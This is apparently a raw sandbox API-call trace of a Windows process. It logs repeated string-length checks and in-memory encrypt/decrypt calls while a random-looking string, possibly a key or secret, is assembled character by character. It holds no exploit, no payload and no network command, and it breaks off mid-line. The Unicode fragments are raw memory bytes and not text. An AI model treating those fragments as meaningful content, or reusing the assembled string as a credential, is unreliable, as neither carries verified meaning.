SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0232.867] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0232.867] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.867] SysStringLen (param_1="NL") returned 0x8 [0232.867] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.867] SysStringLen (param_1="몡뾄峪᫗㰿꫖꯿掽") returned 0x8 [0232.867] SysStringLen (param_1="몡뾄峪᫗㰿꫖꯿掽") returned 0x8 [0232.867] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.868] SysStringLen (param_1="NLj") returned 0x8 [0232.868] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.868] SysStringLen (param_1="服샇益뢇蛌혴") returned 0x8 [0232.868] SysStringLen (param_1="服샇益뢇蛌혴") returned 0x8 [0232.868] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.868] SysStringLen (param_1="NLjq") returned 0x8 [0232.868] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.868] SysStringLen (param_1="ₜ路跤᭷蘹碐") returned 0x8 [0232.868] SysStringLen (param_1="ₜ路跤᭷蘹碐") returned 0x8 [0232.868] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.868] SysStringLen (param_1="NLjqY") returned 0x8 [0232.868] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.868] SysStringLen (param_1="ⲟﳖᄤ╃颺糇\뗟⊿) returned 0x8 [0232.868] SysStringLen (param_1="ⲟﳖᄤ╃颺糇\뗟⊿) returned 0x8 [0232.868] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.869] SysStringLen (param_1="NLjqY4") returned 0x8 [0232.869] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.869] SysStringLen (param_1="\᧝æᨛ㩏컛꽡顸≢) returned 0x8 [0232.869] SysStringLen (param_1="\᧝æᨛ㩏컛꽡顸≢) returned 0x8 [0232.869] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.869] SysStringLen (param_1="NLjqY46") returned 0x8 [0232.869] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.869] SysStringLen (param_1="㰓뒴潣䍝፳▲赊喀") returned 0x8 [0232.869] SysStringLen (param_1="㰓뒴潣䍝፳▲赊喀") returned 0x8 [0232.869] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.869] SysStringLen (param_1="NLjqY46N") returned 0x8 [0232.869] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.869] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗") returned 0x8 [0232.870] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗") returned 0x8 [0232.870] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗") returned 0x8 [0232.870] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗") returned 0x10 [0232.870] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.870] SysStringLen (param_1="NLjqY46NV렘빹삏檽ବ") returned 0x10 [0232.870] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.870] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗婬ԇ穷ﲠ뼺鉖Ⓛ") returned 0x10 [0232.870] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗婬ԇ穷ﲠ뼺鉖Ⓛ") returned 0x10 [0232.870] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.871] SysStringLen (param_1="NLjqY46NVJ빹삏檽ବ") returned 0x10 [0232.871] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.871] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗꣙걞︬%葝ⵧ涓") returned 0x10 [0232.871] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗꣙걞︬%葝ⵧ涓") returned 0x10 [0232.871] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.871] SysStringLen (param_1="NLjqY46NVJa삏檽ବ") returned 0x10 [0232.871] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.871] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗됎ꑜ䪽ꅙ峓폍蝏횹") returned 0x10 [0232.871] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗됎ꑜ䪽ꅙ峓폍蝏횹") returned 0x10 [0232.871] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.871] SysStringLen (param_1="NLjqY46NVJaW檽ବ") returned 0x10 [0232.871] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.871] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗촘蕨䦽넯䖍Дܱ萟") returned 0x10 [0232.871] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗촘蕨䦽넯䖍Дܱ萟") returned 0x10 [0232.871] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.871] SysStringLen (param_1="NLjqY46NVJaWDବ") returned 0x10 [0232.871] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.872] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗\뷞핹\韘䬭龽囔") returned 0x10 [0232.872] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗\뷞핹\韘䬭龽囔") returned 0x10 [0232.872] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.872] SysStringLen (param_1="NLjqY46NVJaWDkବ") returned 0x10 [0232.872] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.872] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗퓍詛갖蹜虬곤Ｙ愪") returned 0x10 [0232.872] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗퓍詛갖蹜虬곤Ｙ愪") returned 0x10 [0232.872] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.872] SysStringLen (param_1="NLjqY46NVJaWDkeବ") returned 0x10 [0232.872] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.872] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗㊺⩃诀㯵ﵝ뢱㻀㼟") returned 0x10 [0232.872] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗㊺⩃诀㯵ﵝ뢱㻀㼟") returned 0x10 [0232.872] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.872] SysStringLen (param_1="NLjqY46NVJaWDkef") returned 0x10 [0232.872] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.873] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝") returned 0x10 [0232.873] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝") returned 0x10 [0232.873] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝") returned 0x10 [0232.873] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝") returned 0x18 [0232.873] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.873] SysStringLen (param_1="NLjqY46NVJaWDkefP詊屢꽊䊳꒦") returned 0x18 [0232.873] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.873] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝怷\柟蜄辖でů刿≕) returned 0x18 [0232.873] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝怷\柟蜄辖でů刿≕) returned 0x18 [0232.873] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.874] SysStringLen (param_1="NLjqY46NVJaWDkefPb屢꽊䊳꒦") returned 0x18 [0232.874] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.874] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝ぃ뺔쯒쁔⍛ዌ蟤钋") returned 0x18 [0232.874] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝ぃ뺔쯒쁔⍛ዌ蟤钋") returned 0x18 [0232.874] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.874] SysStringLen (param_1="NLjqY46NVJaWDkefPbb꽊䊳꒦") returned 0x18 [0232.874] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.874] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝졽ㅠᨤﾒ䝥亥뼍萬") returned 0x18 [0232.874] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝졽ㅠᨤﾒ䝥亥뼍萬") returned 0x18 [0232.874] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.874] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3꽊䊳꒦") returned 0x18 [0232.874] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.874] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝旼傂᭩㪚懮䋈峞²") returned 0x18 [0232.874] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝旼傂᭩㪚懮䋈峞²") returned 0x18 [0232.874] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.874] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3z䊳꒦") returned 0x18 [0232.874] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.875] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝퍐⻻ᖇ즭⡪阞") returned 0x18 [0232.875] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝퍐⻻ᖇ즭⡪阞") returned 0x18 [0232.875] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.875] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zT䊳꒦") returned 0x18 [0232.875] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.875] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝钦㳪㒕甴䑘둹ꍭᆖ") returned 0x18 [0232.875] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝钦㳪㒕甴䑘둹ꍭᆖ") returned 0x18 [0232.875] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.875] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTc꒦") returned 0x18 [0232.875] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.875] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝잾魻ꆬ⻗◵惰鎇旮") returned 0x18 [0232.875] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝잾魻ꆬ⻗◵惰鎇旮") returned 0x18 [0232.875] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.875] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy") returned 0x18 [0232.875] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.876] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒∧) returned 0x18 [0232.876] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒∧) returned 0x18 [0232.876] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒∧) returned 0x18 [0232.876] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒∧) returned 0x20 [0232.876] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.993] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9뽕㜽搣쐔탷⇰") returned 0x20 [0232.993] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.994] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒ꑯ墁\凘ꏰṓ⊯靸") returned 0x20 [0232.994] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒ꑯ墁\凘ꏰṓ⊯靸") returned 0x20 [0232.994] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.994] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9I㜽搣쐔탷⇰") returned 0x20 [0232.994] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.994] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒蜧擆蟹쭛킙萲リ∏) returned 0x20 [0232.994] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒蜧擆蟹쭛킙萲リ∏) returned 0x20 [0232.994] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.994] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9Ii搣쐔탷⇰") returned 0x20 [0232.995] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.995] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒갧촽䓛ሎ⤦뼼ᛐ㿛∧) returned 0x20 [0232.995] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒갧촽䓛ሎ⤦뼼ᛐ㿛∧) returned 0x20 [0232.995] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.995] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9Iii쐔탷⇰") returned 0x20 [0232.995] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.995] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒ﬧ೫⚼ﱿ\뻟聅怞") returned 0x20 [0232.995] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒ﬧ೫⚼ﱿ\뻟聅怞") returned 0x20 [0232.995] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.996] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9Iiif탷⇰") returned 0x20 [0232.996] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.996] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒ध裻嗸ᆫ偟晟ꮈ≰) returned 0x20 [0232.996] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒ध裻嗸ᆫ偟晟ꮈ≰) returned 0x20 [0232.996] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.996] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9Iiifj⇰") returned 0x20 [0232.996] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.996] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒ጧ뇱ڢ闎惙䵒䃌콾∜) returned 0x20 [0232.997] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒ጧ뇱ڢ闎惙䵒䃌콾∜) returned 0x20 [0232.997] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.997] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9Iiifjx") returned 0x20 [0232.997] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.997] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒鴧鈫禟⛎溧뢌뿂≍) returned 0x20 [0232.997] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒鴧鈫禟⛎溧뢌뿂≍) returned 0x20 [0232.997] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.997] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9Iiifjxz") returned 0x20 [0232.997] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.998] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή≣) returned 0x20 [0232.999] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή≣) returned 0x20 [0232.999] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή≣) returned 0x20 [0232.999] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή陣∁) returned 0x28 [0232.999] SystemFunction041 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.000] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9IiifjxzC霯ᯃ桺嗽▅䅁戈") returned 0x28 [0233.000] SystemFunction040 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.000] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ήգဈꉷ䮝캒뤭鉹⋺) returned 0x28 [0233.000] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ήգဈꉷ䮝캒뤭鉹⋺) returned 0x28 [0233.000] SystemFunction041 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.000] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9IiifjxzCRᯃ桺嗽▅䅁戈") returned 0x28 [0233.000] SystemFunction040 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.001] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή靣ᯖ炐ꦠ㨳ꭡᄺ檇⊭) returned 0x28 [0233.001] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή靣ᯖ炐ꦠ㨳ꭡᄺ檇⊭) returned 0x28 [0233.001] SystemFunction041 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.001] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9IiifjxzCRr桺嗽▅䅁戈") returned 0x28 [0233.001] SystemFunction040 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.001] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή쵣ᴔ㨣梨䋺漩⪉⊦) returned 0x28 [0233.001] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή쵣ᴔ㨣梨䋺漩⪉⊦) returned 0x28 [0233.001] SystemFunction041 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.002] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9IiifjxzCRrY嗽▅䅁戈") returned 0x28 [0233.002] SystemFunction040 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.002] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ήꭣ꼅鍓䢅㫇㰃藾梿≊) returned 0x28 [0233.002] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ήꭣ꼅鍓䢅㫇㰃藾梿≊) returned 0x28 [0233.002] SystemFunction041 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.002] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9IiifjxzCRrYc▅䅁戈") returned 0x28 [0233.002] SystemFunction040 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.002] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή鉣槈ꐯ倀ẉᒂ䌏∿) returned 0x28 [0233.002] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή鉣槈ꐯ倀ẉᒂ䌏∿) returned 0x28 [0233.002] SystemFunction041 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.003] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9IiifjxzCRrYcs䅁戈") returned 0x28 [0233.003] SystemFunction040 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.003] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή扣쵫흍ꥰ蕘᳔⮡母≸) returned 0x28 [0233.003] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή扣쵫흍ꥰ蕘᳔⮡母≸) returned 0x28 [0233.003] SystemFunction041 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.003] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9IiifjxzCRrYcsr戈") returned 0x28 [0233.003] SystemFunction040 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.003] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή蕣汍ﯽ쭷擒Η⩢−) returned 0x28 [0233.003] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή蕣汍ﯽ쭷擒Η⩢−) returned 0x28 [0233.003] SystemFunction041 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.003] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9IiifjxzCRrYcsr3") returned 0x28 [0233.003] SystemFunction040 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.003] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή婣ዀ룜ꦄ豤꟞쩭缓⋛) returned 0x28 [0233.004] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή婣ዀ룜ꦄ豤꟞쩭缓⋛) returned 0x28 [0233.004] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή婣ዀ룜ꦄ豤꟞쩭缓⋛) returned 0x28 [0233.004] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή婣ዀ룜ꦄ豤꟞쩭缓⋛) returned 0x30 [0233.004] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 